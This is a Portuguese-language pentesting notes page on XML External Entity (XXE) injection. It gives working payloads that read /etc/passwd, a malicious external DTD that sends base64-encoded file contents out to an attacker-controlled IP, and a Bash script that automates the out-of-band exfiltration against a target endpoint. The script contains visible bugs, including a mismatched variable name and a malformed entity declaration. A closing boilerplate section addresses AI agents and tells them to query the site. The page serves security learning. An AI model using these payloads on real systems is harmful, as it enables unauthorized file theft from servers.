> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).

# Técnicas de XXE

Aqui está a estrutura de uma requisição processada com o Burp Suite no site vulnerável a XML:

<figure><img src="/files/05b9d229de97adeda26e1e2aa5a53d36b1294311" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/987b764efa863fe44b5d89e9f7cde07d5d2de4ca" alt="" width="563"><figcaption></figcaption></figure>

## Injeção de Entidade Externa XML:

> No caso em que o servidor web não valida corretamente os dados XML que recebe, os invasores podem explorar XXE injetando uma entidade XML maliciosa contendo referências a arquivos do sistema aos quais o servidor pode acessar. Isso pode permitir que o invasor obtenha informações sensíveis do sistema, como senhas, nomes de usuário, chaves de API e outros dados confidenciais. Para acessar o sistema de arquivos, devemos criar uma nova **entidade**, por exemplo, "myFile", da seguinte forma: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Então, em uma variável, devemos postar o resultado com "**/\&myFile**" assim:

<figure><img src="/files/b7f74e148efc01d49140290aa2b032abf62b7c44" alt=""><figcaption></figcaption></figure>

Às vezes, o resultado não é exibido corretamente. Nesse caso, poderíamos usar a declaração abaixo: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>` Então, decodificamos o conteúdo base64 resultante de volta à sua forma normal. Isso redirecionaria para um sistema de arquivos, como "/etc/passwd", e, ao exibi-lo com "/\&myFile;", poderíamos ver o conteúdo do arquivo sem erros.

## XXE com interação fora de banda:

> Às vezes, os ataques de injeção de entidade externa XML (XXE) nem sempre levam à exposição direta de informações sensíveis na resposta do servidor. Em alguns casos, o invasor precisa "agir no escuro" para obter informações confidenciais por meio de técnicas adicionais. Uma forma comum de realizar XXE cego é enviar requisições especialmente elaboradas que fazem o servidor se conectar a uma Definição de Tipo de Documento (DTD) definida externamente. A DTD valida a estrutura do arquivo XML e pode conter referências a recursos externos, como arquivos no sistema de arquivos do servidor. Crie um arquivo **malicious.dtd** com o conteúdo abaixo:

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.71.128/?file=%file;'>">
%eval;
%exfil;

```

Crie um **entidade** com o conteúdo abaixo:

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.71.128/malicious.dtd"> %xxe;]>

```

<figure><img src="/files/09ca81189de5b0c769a1736ee382390e7467c625" alt=""><figcaption></figcaption></figure>

Inicie um listener na **porta 80**:

<figure><img src="/files/f7a49c9e8df13d226a4ca368667b5d30c9900e46" alt="" width="563"><figcaption></figcaption></figure>

Recupere o conteúdo em **base64**:

<figure><img src="/files/f7a49c9e8df13d226a4ca368667b5d30c9900e46" alt="" width="563"><figcaption></figcaption></figure>

Converta o **base64** valor em conteúdo legível e o resultado é o seguinte:

<figure><img src="/files/b05edcaf082662e52c0ec4a339761c5ca9b3a612" alt="" width="563"><figcaption></figcaption></figure>

O script Bash abaixo automatiza todo o processo:

```bash
#!/bin/bash
echo -ne "[+] Digite o arquivo para ler: " && read -r myFilename
malhereuos_dtd="""
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.0.50/?file=%file;'>">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://192.168.0.50/malicious.dtd"> %xxe;]>
<root><name><email>test@test.com</email></name></root>' &>/dev/null
cat response  | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
